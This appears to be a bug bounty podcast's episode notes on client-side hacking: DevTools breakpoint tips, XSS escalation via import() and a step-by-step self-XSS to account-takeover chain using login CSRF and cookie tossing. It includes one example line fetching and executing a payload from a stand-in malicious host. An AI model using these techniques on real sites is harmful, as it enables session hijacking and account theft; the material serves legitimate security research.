[HackerNotes Ep.81] Crushing Client-Side on Any Scope with MatanBer

MatanBer and Justin dropped a tonne of tips and tricks on client-side hacking and using DevTools effectively, as well as some recent POCs to escalate self XSS.

Hacker TLDR;

  • DevTools and Testing Tips: Using breakpoints to understand JS on a target can massively assist when building context. There are numerous types of breakpoints including:

    • Regular blue breakpoint: A standard breakpoint that allows you to pause execution on a line, view the call stack etc.

    • Event listener & Global listener breakpoints: Work exactly like your standard breakpoint, but can be applied on a per-event basis

    • Orange conditional breakpoint: Allows you to put a statement or piece of code in the breakpoint when you edit it.

    • Log points: Allows you to use code which parses code like a list of args to console.log - if you put a string and comma and a variable it, it will log the string and the variable

    • XHR and fetch breakpoints: Helpful when trying to figure out what JS code originated a request - an alternative way this can be done is within the initiators

  • General Clientside Hacking Tips: Don’t jump straight into JS. Instead, learn and get familiar with the application. Utilise as much dynamic analysis as possible using things like Domlogger, DOMinvader and DevTools to help build that context.

    • For analysis of URL or hash parameters, use Domlogger or DOM Invader. Domlogger can be used to hook function calls, allowing you to catch calls to functions such as URLSearchParams.prototype.has. Some common calls to look for when performing analysis include:

      • url.searchParams

      • url.searchParams.get

      • url.searchParams.has

      • window.location.href

      • window.location.search

      • history.pushState

      • history.replaceState

  • Escalating Self XSS: Matan dropped a neat method of escalating self-XSS. A breakdown of the POC for this one was login CSRF -> cookie jar overflow (logout) -> cookie tossing -> redirect back to vulnerable endpoint -> standard XSS → ATO. Some more info below:

    • Login CSRF to self XSS

    • Clear all cookies and set a redirect cookie that has the payload in it

    • Fixate the attacker's session with a specific path in the cookie attribute, ie /vulnpage is fixated with the attacker session token

    • Fixate the redirect cookie to include a redirect to the XSS endpoint along with a payload in the hash fragment

    • User logs in, they get redirected to the /vulnpage and ONLY on this vulnerable page, are they logged in as the attacker with a payload in the URL.

    • Now, the attacker pretty much has regular XSS. The attacker can interact with the victim's session and achieve ATO.

      • This is because the victim is only authenticated as the attacker for the specific vulnerable endpoint, but authenticated as themselves for every other endpoint.

  • There’s a bunch more we couldn’t fit in - check them all out below.

Find out more at: https://www.criticalthinkingpodcast.io/tlbook

This episode is sponsored by ThreatLocker. Check out their eBook "The IT Professional's Blueprint for Compliance" here!

DevTools and Testing Tips

Matan spends a lot of time inside of DevTools when he's approaching a target. Spending time within DevTools can help you appreciate the flow of an application and understand a lot of the client-side functionality.

If you’re looking to up your DevTools game, check out these tips below:

Breakpoints

When you’re walking through some JS you can set some breakpoints under the ‘sources’ tab within DevTools. When you find the JS you want to debug, you can simply click the line next to it to set a breakpoint - this will pause the execution on this line when it's hit.

What you might not know is there are numerous types of breakpoints within dev tools, all of which can be used to your advantage depending on the use case:

  • Regular blue breakpoint:

    • A standard breakpoint that allows you to pause execution on a line, view the call stack etc

  • Event listener & Global listener breakpoints

    • Work exactly like your standard breakpoint, but can be applied on a per-event basis

    • Can be used for almost any event, incredibly useful

    • You can use onbeforeunload breakpoints to see where navigation is occurring, for example:

      • Setting onbeforeunload Breakpoints:

        • If the application is navigating or redirecting quickly and you want to understand what's happening at every stage, you can set a breakpoint via the Sources panel in the DevTools:

          1. Open DevTools (F12 or right-click and select "Inspect").

          2. Go to the Sources panel.

          3. Open the right-hand menu.

          4. Navigate to "Event Listener Breakpoints."

          5. Expand the "Load" section.

          6. Check the "beforeunload" option.

    • This way, when a page sets its location and causes a refresh you’ll hit a breakpoint just before that point

  • Orange conditional breakpoint

    • Allows you to put a statement or piece of code in the breakpoint when you edit it.

    • If you want to override something for a quick check, set a breakpoint there and inject the code you want to check.

    • This removes friction and allows you to stay in your environment.

    • Can be used to add a breakpoint on the messageListener event and add a property such as e.asdf and only if the .asdf property is present, it will break

  • Log points

    • Allows you to use code which parses code like its a list of args to console.log - if you put a string and comma and a variable it, it will log the string and the variable

    • Specific use case, a lot of the time an app is going to have some function which is a conditional log of something. Think of a logging library which checks local storage for example. Instead of going in and checking how and where debug is enabled, set a log point in the function which logs stuff and that will log the args of the function. The log point logs it anyway.

    • Dev tools → right click on line → add log point

  • XHR and fetch breakpoints

    • Helpful when trying to figure out what JS code originated a request - an alternative way this can be done is within the initiators

DevTools Tips

  • Window hijacking: You can override window.open to a call to the debugger. Using the keyword ‘debugger’, DevTools will trigger a breakpoint and let you understand the context a lot more. This is useful for seeing the name of the opened window and seeing if it’s guessable. If it’s guessable, it can lead to window hijacking

  • DevTools call stack: The call stack section can be used to jump and walk through your call stack. Using ‘step’ we can jump to the break point. It’s also possible to use alt + - and alt + + to walk through the call stack to save you clicking

  • View CSP of a frame: Go to the application tab in dev tools → Click frames → Shows CSP

  • Modifying scripts with checksums: If a script is using checksums or even the CSP and you override the content, the app can misbehave as the hashes won’t match up. Something to be careful of and to watch out for

  • Navigating DevTools: If you get lost while debugging something and want to jump back to the current execution point, expand the call stack section on the right side and click on the highest entry

  • Take some time to familiarize yourself with the settings of the DevTools

General Clientside Hacking Tips

When approaching a target it can be quite easy to slip into the trap of diving into the JS straight away. This can lead to a lot of context being missed which will only hurt your hunting in the long run.

The guys dropped a lot of general clientside hacking tips on how to approach a target and how to avoid common mistakes - let’s dive in:

  • Don’t jump straight into JS. Instead, learn and get familiar with the application. Utilise as much dynamic analysis as possible using things like Domlogger, DOMinvader and DevTools to help build that context.

    • Understanding app context allows you to have less powerful primitives but keep the impact high. Use dynamic analysis to inform and supplement your static analysis, instead of reading entire blobs of JS without context.

    • For example, if there’s a window.open and you’re trying to understand that functionality, set a breakpoint on window.open and walk through that flow. Utilize as much dynamic analysis as possible.

  • For looking at postMessage-related functionality the postMessage logger extension is useful along with DevTools.

  • Interesting areas to keep an eye out for include any registration of postMessage listeners and new hash change events

  • For analysis of URL or hash parameters, use domlogger and DOM Invader to supplement hunting. You can also search for all parameters available on a page that the JS has via:

    • url.searchParams

    • url.searchParams.get

    • url.searchParams.has

    • window.location.href

    • window.location.search

    • history.pushState

    • history.replaceState

  • When attempting to exploit an XSS vulnerability, the goal is to get the application to execute a malicious script. One effective method is to use the import function, leveraging it as XSS as a Service. The import function fetches and executes the specified file. Some other tips when exploiting and escalating XSS:

  • Insert a Script Element:

    • Create a script element using document.createElement('script').

    • Assign a source to the script element.

    • Inject the script element into the page.

  • Transition from alert to import:

    • If you find an XSS vulnerability using alert(origin), modify it to use import to fetch and execute a script for escalating impact.

  • Types of Imports:

    • Static Imports: These are declared at the top of the file using the import statement. Static imports are hoisted and executed before the rest of the code runs.

    • Dynamic Imports: These are used as functions and allow for conditional and lazy loading of modules. Dynamic imports are not hoisted and return a promise that resolves to the module object.

  • Handling CSP Restrictions:

    • If Content Security Policy (CSP) prevents script execution, revisit the method you used to initially trigger the XSS. You can re-exploit the primitive XSS vector to smuggle data into the context instead of depending on methods which might violate the CSP.

    • You can use one of the following methods to introduce malicious input:

      • window.name, opener.name, opener.opener.name, etc.:

        • No length or charset limit.

        • Requires the victim to navigate to the attacker's page.

      • onmessage Event Handler:

        • No length or charset limit.

        • Example: window.onmessage = e => { /* malicious code */ };

      • location Object:

        • No length limit, but some characters may be encoded.

      • fetch API:

        • Example: fetch("<https://malicious.com>").then(response => response.text()).then(payload => { /* execute payload */ });

        • No length or charset limit, but the payload can be long.

Escalating Self XSS

This one is pretty cool and might help turn any self-XSS you find into a more impactful bug. What do you do when you have a self-XSS that you want to trigger on a victim's account?

Matan was in a similar situation on a target - he had a self XSS which had a charset limit and a length limit. What Matan was trying to achieve was both eval a script, and to get it to trigger on a victims session.

Matan had the XSS on his account. The first step is to get the victim to log in to Matans own account - this is a pre-req which can’t be avoided. The target also had SSO functionality, which can usually be used as a means of login CSRF.

So the first step here is to get the victim to login to his account, redirect the victim to the XSS, and trigger the XSS. There’s one problem of the victim being logged into Matan’s account and not their own, meaning the XSS is still being triggered under the attacker context so far.

The XSS was in a subdomain which didn’t have much sensitive data in that subdomain but there was a CORs policy which trusted the subdomain from the main app. If the XSS were to run in the victim's session, it could be used to send fetch requests to sensitive APIs as the victim.

This is where the attack chain gets creative.

Once the victim is logged into the attacker's account, wipe all the cookies via a cookie jar overflow and the victim is now logged out of the victim's account. Now, the attacker has JS execution on a subdomain and an unauthenticated victim.

Before doing so, the attacker's cookie value was noted and the attacker fixated the victim's cookie with a specific path; the path ONLY included the page the XSS was triggered on. This means when a victim visits the endpoint, this cookie will only get sent to the page specified in the path attribute of the cookie.

This means for this specific endpoint only, the victim will be logged into the attacker's account. But the victim was logged into their account for every other endpoint.

This was combined with a gadget which used a cookie value to redirect a user. So now this cookie was used to redirect the victim to the XSS payload, and whilst doing so, put a payload in a hash fragment value of the URL of the page.

Pretty complex chain, let's break it down:

  1. Login CSRF to self XSS

  2. Clear all cookies and set a redirect cookie that has the payload in it

  3. Fixate the attacker's session with a specific path in the cookie attribute, ie /vulnpage is fixated with the attacker session token

  4. Fixate the redirect cookie to include a redirect to the XSS endpoint along with a payload in the hash fragment

  5. User logs in, they get redirected to the /vulnpage and ONLY on this vulnerable page, are they logged in as the attacker, with a payload in the URL.

  6. Now, the attacker pretty much has regular XSS. The attacker can interact with the victim's session and exploit the CORs misconfiguration mentioned earlier.

    1. This is because the victim is only authenticated as the attacker for the specific vulnerable endpoint, but authenticated as themselves for every other endpoint.

So the TL;DR is we go from login CSRF -> cookie jar overflow -> cookie tossing -> redirect back to vulnerable endpoint -> abuse lax CORS config for ATO.

Remember, domain and path attributes can be very useful in self-XSS contexts!

As always, keep hacking!